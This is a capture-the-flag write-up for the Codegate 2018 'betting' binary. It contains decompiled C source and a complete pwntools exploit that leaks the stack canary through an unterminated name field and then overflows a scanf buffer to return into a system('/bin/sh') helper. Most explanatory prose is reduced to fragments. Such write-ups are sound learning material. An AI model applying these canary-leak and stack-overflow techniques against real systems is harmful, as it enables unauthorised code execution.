04) codegate 2018 betting

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned int v4; // eax
  unsigned int v6; // [rsp+4h] [rbp-6Ch]
  int v7; // [rsp+8h] [rbp-68h]
  int v8; // [rsp+Ch] [rbp-64h]
  int v9; // [rsp+10h] [rbp-60h]
  int v10; // [rsp+14h] [rbp-5Ch]
  int v11; // [rsp+18h] [rbp-58h]
  int v12; // [rsp+1Ch] [rbp-54h]
  const char *v13; // [rsp+20h] [rbp-50h]
  const char *v14; // [rsp+28h] [rbp-48h]
  const char *v15; // [rsp+30h] [rbp-40h]
  const char *v16; // [rsp+38h] [rbp-38h]
  char v17; // [rsp+40h] [rbp-30h]
  char s; // [rsp+50h] [rbp-20h]
  unsigned __int64 v19; // [rsp+68h] [rbp-8h]

  v19 = __readfsqword(0x28u);
  v8 = 0;
  v9 = 0;
  v6 = 0;
  v10 = 0;
  v7 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x14uLL);
  printf("What is your name? ", 0LL);
  read(0, &s, 0x28uLL);
  printf("How much money would you like to start with? ", &s);
  __isoc99_scanf("%d", &v7);
  while ( v10 >= 0 && v7 > 1 )
  {
    printf("Hi, %s", &s);
    printf("you have $%d.\n", (unsigned int)v7);
    while ( !v6 || (signed int)v6 > v7 )
    {
      printf("How much money do you want to bet? ");
      __isoc99_scanf("%d", &v6);
      if ( (signed int)v6 > v7 )
        puts("Sorry, you don't have enough money to make that bet.");
    }
    v3 = time(0LL);
    srand(v3);
    v8 = rand() % 13 + 1;
    v9 = rand() % 4 + 1;
    v11 = v8;
    v13 = rank_string(v8);
    v14 = suit_string(v9);
    printf("You draw a %s of %s.\n", v13, v14);
    puts("Will the next card be higher or lower?");
    printf("Enter \"h\" for higher or \"l\" for lower: ");
    __isoc99_scanf("%s", &v17);
    v4 = time(0LL);
    srand(v4);
    v8 = rand() % 13 + 1;
    v9 = rand() % 4 + 1;
    v12 = v8;
    v15 = rank_string(v8);
    v16 = suit_string(v9);
    printf("You draw a %s of %s.\n", v15, v16);
    if ( v17 == 104 && v11 > v12 || v17 == 108 && v11 < v12 )
    {
      v7 -= v6;
      printf("LOSE!!! Too bad %s", &s);
      printf("You lose $%d.\n", v6);
      goto LABEL_15;
    }
    if ( v11 == v12 )
    {
      puts("I'll give you one more chance.");
    }
```

```
    else
    {
      v7 += v6;
      printf("Win! Congratulations %s", &s);
      printf("You win $%d!\n", v6);
LABEL_15:
      v6 = 0;
    }
  }
  if ( v10 > 0 )
  {
    printf("You win the game %s! ", &s);
  }
  else
  {
    printf("Too bad %s", &s);
    puts("You are out of money! You lose.");
  }
  return 0;
}
```

NX .

```
printf("What is your name? ", 0LL);
read(0, &s, 0x28uLL);
```

read . 24byte NULL 25byte leak .

scanf high low ret

```
int helper()
{
  return system("/bin/sh");
}
```

ret helper .

```
from pwn import *

p = process('./betting')

shell = 0x4008F6
pay = 'h'*40

p.recv()
p.sendline('A'*24)
p.recv()
p.sendline('2')
p.recvuntil('\x0a')
canary = '\x00' + p.recv()[0:7]
log.info('canary leak : ' + hex(u64(canary)))
pay += canary
pay += 'A'*8
pay += p64(shell)
p.sendline('2')
p.recv()
p.sendline(pay + '\n')
p.recv()
p.interactive()
```